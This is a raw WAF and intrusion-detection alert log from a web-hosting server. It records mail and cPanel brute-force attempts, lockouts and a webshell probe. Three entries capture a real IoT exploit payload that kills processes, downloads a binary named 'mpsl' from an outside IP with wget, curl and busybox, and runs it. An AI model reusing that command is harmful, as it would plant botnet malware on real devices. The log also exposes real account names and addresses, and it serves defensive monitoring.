IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'NR>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:34029/mpsl; curl -O http://130.12.180.20:34029/mpsl; busybox wget http://130.12.180.20:34029/mpsl; busybox curl -O http://130.12.180.20:34029/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:04:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:04:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49401: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'nr>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:34029/mpsl; curl -o http://130.12.180.20:34029/mpsl; busybox wget http://130.12.180.20:34029/mpsl; busybox curl -o http://130.12.180.20:34029/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||


plugin: modsec
rule: 77142263
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'NR>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:34029/mpsl; curl -O http://130.12.180.20:34029/mpsl; busybox wget http://130.12.180.20:34029/mpsl; busybox curl -O http://130.12.180.20:34029/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:04:29 dovecot_login authenticator failed for H=(Kl9AOhA) [158.94.208.175]:49725: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:04:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58200: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.77.107
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=541552 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:05:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-02-01 07:05:40 dovecot_login authenticator failed for H=([125.62.129.188]) [59.145.160.134]:41532: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.106.78.215
country_id: 2017370
description:
2026-02-01 07:05:54 dovecot_login authenticator failed for H=(77x106x78x215.dynamic.barnaul.ertelecom.ru) [77.106.78.215]:28962: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:05:01 dovecot_login authenticator failed for H=(eWtA89) [158.94.208.215]:62887: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:05:04 dovecot_login authenticator failed for H=(OQW5yeLEjG) [158.94.208.175]:59515: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:05:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01  7:06:43 207184 [Warning] Aborted connection 207184 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.106.13.231
country_id: 2017370
description:
2026-02-01 07:06:43 dovecot_login authenticator failed for H=([176.106.13.231]) [176.106.13.231]:21588: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:06:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39464: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:06:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:06:13 dovecot_login authenticator failed for H=(JImnU5kS) [158.94.208.215]:61575: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-02-01 07:06:56 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net [110.25.112.143]:42140: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:06:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.39.217
country_id: 1668284
description:
2026-02-01 07:06:48 dovecot_login authenticator failed for H=111-70-39-217.emome-ip.hinet.net [111.70.39.217]:56863: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:06:22 dovecot_login authenticator failed for H=(6FT9o84) [158.94.208.175]:54443: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.115.173.11
country_id: 1269750
description:
2026-02-01 07:06:51 dovecot_login authenticator failed for H=([45.115.173.11]) [45.115.173.11]:48334: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.147.196.170
country_id: 1814991
description:
2026-02-01 07:07:22 dovecot_login authenticator failed for H=([219.147.196.170]) [219.147.196.170]:45572: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.221.168
country_id: 6252001
description:
2026-02-01 07:07:08 dovecot_login authenticator failed for H=wsip-70-183-221-168.br.br.cox.net [70.183.221.168]:50447: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:07:16 dovecot_login authenticator failed for H=(RUzNoxJ6z) [158.94.208.175]:52500: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:07:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 07:07:39 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:11776: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 07:07:20 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:32916: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:07:25 dovecot_login authenticator failed for H=(omHTwMwWna) [158.94.208.215]:61236: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/interior.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:07:40 dovecot_login authenticator failed for H=(Zr9YWmfi) [158.94.208.175]:55372: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-02-01 07:07:43 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:33072: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:08:12 dovecot_login authenticator failed for H=(CQZcYklA) [158.94.208.175]:54681: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 07:08:28 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:37956: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.162.32
country_id: 6252001
description:
[2026-02-01 07:08:37 +0800] info [cpaneld] 172.56.162.32 - kris "GET /login/?login_only=1&user=kris&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kris (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
country_id: 1814991
description:
2026-02-01 07:08:38 dovecot_login authenticator failed for H=([111.61.176.243]) [111.61.176.243]:12412: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-02-01 07:08:11 dovecot_login authenticator failed for H=([103.51.26.198]) [103.51.26.198]:45935: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.62.56.186
country_id: 6252001
description:
[2026-02-01 07:08:28 +0800] info [cpaneld] 104.62.56.186 - krisfoo "GET /login/?login_only=1&user=krisfoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user krisfoo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.176.71.231
country_id: 6252001
description:
[2026-02-01 07:08:34 +0800] info [cpaneld] 98.176.71.231 - krisf "GET /login/?login_only=1&user=krisf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user krisf (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 07:08:43 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:51494: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 07:08:13 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:43884: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.232.38.71
country_id: 6252001
description:
[2026-02-01 07:08:26 +0800] info [cpaneld] 69.232.38.71 - krisfoodcom "GET /login/?login_only=1&user=krisfoodcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user krisfoodcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.166.25.60
country_id: 6252001
description:
[2026-02-01 07:08:43 +0800] info [cpaneld] 174.166.25.60 - kr "GET /login/?login_only=1&user=kr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kr (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:08:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36758: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.190.163
country_id: 6252001
description:
[2026-02-01 07:08:23 +0800] info [cpaneld] 172.59.190.163 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.9.129.133
country_id: 6252001
description:
[2026-02-01 07:08:20 +0800] info [cpaneld] 67.9.129.133 - krisfood "GET /login/?login_only=1&user=krisfood&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.158.31.232
country_id: 6252001
description:
[2026-02-01 07:08:31 +0800] info [cpaneld] 141.158.31.232 - krisfo "GET /login/?login_only=1&user=krisfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user krisfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.124.234.68
country_id: 6252001
description:
[2026-02-01 07:08:40 +0800] info [cpaneld] 97.124.234.68 - kri "GET /login/?login_only=1&user=kri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kri (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:08:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53417: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:08:13 dovecot_login authenticator failed for H=(mbXcuQjv) [158.94.208.215]:55939: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:09:21 dovecot_login authenticator failed for H=(dvjOcZwevg) [158.94.208.175]:63349: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:09:25 dovecot_login authenticator failed for H=(1D7LEpc) [158.94.208.215]:56775: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:09:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65190: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.129.90.215
country_id: 2921044
description:
2026-02-01 07:10:57 dovecot_login authenticator failed for H=ns3241969.ip-57-129-90.eu [57.129.90.215]:58124: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:10:19 dovecot_login authenticator failed for H=(xnsdcwnnN) [158.94.208.175]:49261: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.73.93.120
country_id: 3469034
domain: www.nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nmahir.com/index-4.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.0.112.247
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34861516784099 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:10:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42952: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:10:35 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.125.94
country_id: 1835841
description:
2026-02-01 07:10:50 dovecot_login authenticator failed for H=([111.171.125.94]) [111.171.125.94]:42559: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:10:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64785: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:10:13 dovecot_login authenticator failed for H=(wibZhXCfm) [158.94.208.215]:61638: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:11:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.65.140.218
country_id: 3017382
description:
2026-02-01 07:11:32 dovecot_login authenticator failed for H=82-65-140-218.subs.proxad.net [82.65.140.218]:52442: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.198.128.124
country_id: 1835841
description:
2026-02-01 07:11:37 dovecot_login authenticator failed for H=([211.198.128.124]) [211.198.128.124]:38835: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:11:04 dovecot_login authenticator failed for H=(DVyr1ag) [158.94.208.175]:64016: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:11:25 dovecot_login authenticator failed for H=(qalLyZL6) [158.94.208.215]:56660: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-02-01 07:11:26 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:52542: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-02-01 07:11:45 dovecot_login authenticator failed for H=(84-238-92-245.ptr.bnaa.dk) [84.238.92.245]:55723: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 07:11:46 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:42152: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.178.230.115
country_id: 357994
description:
2026-02-01 07:11:49 dovecot_login authenticator failed for H=([41.178.230.115]) [41.178.230.115]:54750: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.150
country_id: 1733045
description:
2026-02-01 07:11:59 dovecot_login authenticator failed for H=([49.124.152.150]) [49.124.152.150]:58548: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:12:43 dovecot_login authenticator failed for H=(z1JLAeHt0E) [158.94.208.175]:55137: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:12:10 dovecot_login authenticator failed for H=(mKHRtRWVw) [158.94.208.175]:58041: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:12:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:12:13 dovecot_login authenticator failed for H=(F4KX6Rj) [158.94.208.215]:64155: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:13:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54958: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:13:25 dovecot_login authenticator failed for H=(SK1lVBW1) [158.94.208.215]:65321: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.51.5
country_id: 1668284
description:
2026-02-01 07:14:00 dovecot_login authenticator failed for H=111-70-51-5.emome-ip.hinet.net [111.70.51.5]:33593: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 07:14:01 dovecot_login authenticator failed for H=(FhHnPE) [158.94.208.110]:51169: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:13:16 dovecot_login authenticator failed for H=(YJ9GQDz7) [158.94.208.175]:63356: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:13:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-02-01 07:13:32 H=(localhost.localdomain) [78.153.140.207]:48560 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.63.102.21
country_id: 1269750
description:
2026-02-01 07:13:35 dovecot_login authenticator failed for H=s-21-102-63-202.southernonline.net [202.63.102.21]:52301: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 4.35.66.245
country_id: 6252001
description:
2026-02-01 07:13:42 dovecot_login authenticator failed for H=([4.35.66.245]) [4.35.66.245]:58883: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 07:14:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 07:14:25 dovecot_login authenticator failed for H=(oeH79WsC4b) [158.94.208.110]:55151: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.58
country_id: 1269750
description:
2026-02-01 07:14:43 dovecot_login authenticator failed for H=([182.95.26.95]) [125.23.237.58]:42062: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.6.11.184
country_id: 1814991
description:
2026-02-01 07:14:55 dovecot_login authenticator failed for H=([112.6.11.184]) [112.6.11.184]:39613: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:14:13 dovecot_login authenticator failed for H=(iDbALS) [158.94.208.215]:58702: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:14:29 dovecot_login authenticator failed for H=(Ksg5epHHHS) [158.94.208.175]:62434: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:15:25 dovecot_login authenticator failed for H=(l9ucQIh) [158.94.208.215]:63507: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 07:15:13 dovecot_login authenticator failed for H=(yEviSAGJi) [158.94.208.110]:63104: 535 Incorrect authentication data (set_id=ratanam)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:15:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56422: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:15:16 dovecot_login authenticator failed for H=(COhvDg) [158.94.208.175]:62604: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:16:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 07:16:13 dovecot_login authenticator failed for H=(Yo8brr1Yc) [158.94.208.215]:49449: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.119.139
country_id: 2661886
description:
2026-02-01 07:16:21 dovecot_login authenticator failed for H=78-66-119-139-no600.tbcn.telia.com [78.66.119.139]:43056: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.18.99.38
country_id: 1269750
description:
2026-02-01 07:17:01 dovecot_login authenticator failed for H=([182.95.20.225]) [125.18.99.38]:60820: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.21.229
country_id: 2017370
description:
2026-02-01 07:16:41 dovecot_login authenticator failed for H=([31.173.21.229]) [31.173.21.229]:33138: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.45.210
country_id: 953987
description:
2026-02-01 07:16:46 dovecot_plain authenticator failed for H=(Johan-PC) [102.64.45.210]:60663: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:16:56 dovecot_login authenticator failed for H=(VVniyi) [158.94.208.175]:61851: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.10
country_id: 1733045
description:
2026-02-01 07:16:48 dovecot_login authenticator failed for H=([49.124.151.10]) [49.124.151.10]:60366: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
